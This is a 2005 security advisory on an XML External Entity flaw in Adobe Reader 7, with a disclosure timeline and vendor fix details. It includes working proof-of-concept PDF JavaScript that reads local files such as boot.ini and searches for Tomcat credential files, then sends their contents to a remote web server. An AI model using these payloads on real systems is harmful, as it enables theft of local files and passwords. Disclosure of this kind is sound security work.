‘Adobe Reader 7 XML External Entity (XXE) Attack’

Summary

Recent versions of Adobe Reader (previously known as Acrobat Reader) are vulnerable to XML External Entity (XXE) Attacks. By including a JavaScript in a PDF file, and have this JavaScript parse an embedded XML document with a reference to an external entity, it is possible to read certain types of textual files on the local computer, and have them sent to a remote attacker.’

Credit:

‘The information has been provided by Sverre H. Huseby.
The original article can be found at: http://shh.thathost.com/secadv/adobexxe/
The vendor advisory can be found at: http://www.adobe.com/support/techdocs/331710.html
Advisory on XML External Entity (XXE) Attack can be found at: https://securiteam.com/securitynews/6D0100A5PU.html


Details

Vulnerable Systems:
 * Adobe Reader 7.01 on Microsoft Windows
 * Adobe Reader 7

Immune Systems:
 * Adobe Reader 7.02 on Microsoft Windows

Recent versions of Adobe Reader allow inclusion of JavaScript. As well as JavaScript users may embed XML documents inside a PDF. These XML documents can reference External Entities through URIs, and most XML parsers, including the one used in Adobe Reader, will allow access to any URI for External Entities, including files, unless they are specifically told to do otherwise.

To Sverre’s knowledge, the general ‘XML External Entity Attack’ was first described by Gregory Steuck in 2002 (https://securiteam.com/securitynews/6D0100A5PU.html). The following example XML document will make the XML parser read c:boot.ini and expand it into the content of the foo tag:

< ?xml version=’1.0′ encoding=’ISO-8859-1′?>
< !DOCTYPE foo [
   < !ELEMENT foo ANY>
   < !ENTITY xxe SYSTEM ‘c:/boot.ini’>
]>
< foo>&xxe;</foo
>

Note how the ENTITY definition creates the xxe entity, and how this entity is referenced in the final line. The textual content of the foo tag will be the content of c:boot.ini and a JavaScript accessing the DOM will be able to extract it.

Note: The attack is limited to files containing text that the XML parser will allow at the place the External Entity is referenced. Files containing non-printable characters, and files with randomly located less than signs or ampersands, will not be include-able. This restriction greatly limits the number of possible target files.

The following Adobe Reader-targeted JavaScript contains the above XML, instructs the Adobe Reader XML parser to parse it, and passes the expanded External Entity (i.e. the content of c:boot.ini) to a remote web server using the system web browser:

var xml='< ?xml version=’1.0′ encoding=’ISO-8859-1′?>< !DOCTYPE foo [ < !ELEMENT foo ANY> ‘
 + ‘< !ENTITY xxe SYSTEM ‘c:/boot.ini’> ]>< foo>&xxe;</foo>’;
var xdoc = XMLData.parse(xml, false);
app.launchURL(‘http://shh.thathost.com/secdemo/show.php?’
 + ‘head=Your+boot.ini&text=’
 + escape(xdoc.foo.value));

The remote web server URL points to a script that just displays whatever is sent to it. (Please realize that even if the content of c:boot.ini is displayed in the local web browser, it has taken a trip to the remote web server before being displayed locally.):

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)WINDOWS=’Microsoft Windows XP Professional’ /fastdetect /NoExecute=OptIn

One can clearly see that the web server got a copy of c:boot.ini from the local computer. As stated above, the XML parser is rather picky when it comes to the contents of the included file. But it has no problems if the file contains XML, which an increasing number of files appear to do these days.

New example:
Apache Tomcat stores user names and (clear-text, shame on them!) passwords in a file called tomcat-users.xml. The following PDF-included JavaScript looks for this file in several plausible locations, and if found, extracts all interesting attributes from the included XML, and passes them on to the above mentioned web site:

function load(uri) {
 try {
  var xml='<?xml version=’1.0′?>< !DOCTYPE foo [ < !ELEMENT foo ANY> ‘
     + ‘< !ENTITY xxe SYSTEM ‘
     + ”’ + uri + ”> ]>< foo>&xxe;</foo>’;
   return XMLData.parse(xml, false);
 } catch (e) {
  console.println(e);
  return null;
 }
}

function attempt(uri) {
 var xdoc = load(uri);
 if (xdoc == null)
  return false;
 try {
  var users = XMLData.applyXPath(xdoc, ‘//foo/tomcat-users/user/attribute::*’);
  var s = ‘match: ‘ + uri + ‘n’
  for (var q = 0; q < users.length; q++)
    s += users.item(q).name + ‘=’ + users.item(q).value + ‘ ‘;
     app.launchURL(‘http://shh.thathost.com/secdemo/show.php?’
 + ‘head=tomcat-users&text=’ + escape(s));
   return true;
  } catch (e) {
   console.println(e);
  }
  return false;
}

uris = [
 ‘file:///C:/PROGRA~1/APACHE~1/TOMCAT~1.5/conf/tomcat-users.xml’,
 ‘file:///C:/PROGRA~1/APACHE~1/TOMCAT~1.4/conf/tomcat-users.xml’,
 ‘file:///C:/PROGRA~1/APACHE~2/TOMCAT~1.5/conf/tomcat-users.xml’,
 ‘file:///C:/PROGRA~1/APACHE~2/TOMCAT~1.4/conf/tomcat-users.xml’
];

for (var q = 0; q < uris.length; q++)
 if (attempt(uris[q]))
  break;

When executed on Windows XP, which happens to have Tomcat 5.5 installed in the default location, the web server script displays the following:

match: file:///C:/PROGRA~1/APACHE~2/TOMCAT~1.5/conf/tomcat-users.xml
name=admin password=foobar roles=admin,manager name=tomcat password=tomcat roles=tomcat name=role1 password=tomcat roles=role1 name=both password=tomcat roles=tomcat,role1

Vendor Status:
The vendor has released an update in 2005-06-15.

Disclosure Timeline:
2005-04-15: Adobe notified
2005-04-20: Reply from Adobe’s Product Security Incident Response Team (PSIRT) that they are looking into it
2005-05-09: Sverre H. Huseby sent an E-mail to Adobe’s PSIRT asking for the current status
2005-05-10: E-mail from Adobe that they’re working on a fix
2005-06-15: Adobe releases the fixed version 7.0.2 for Windows’

Categories: News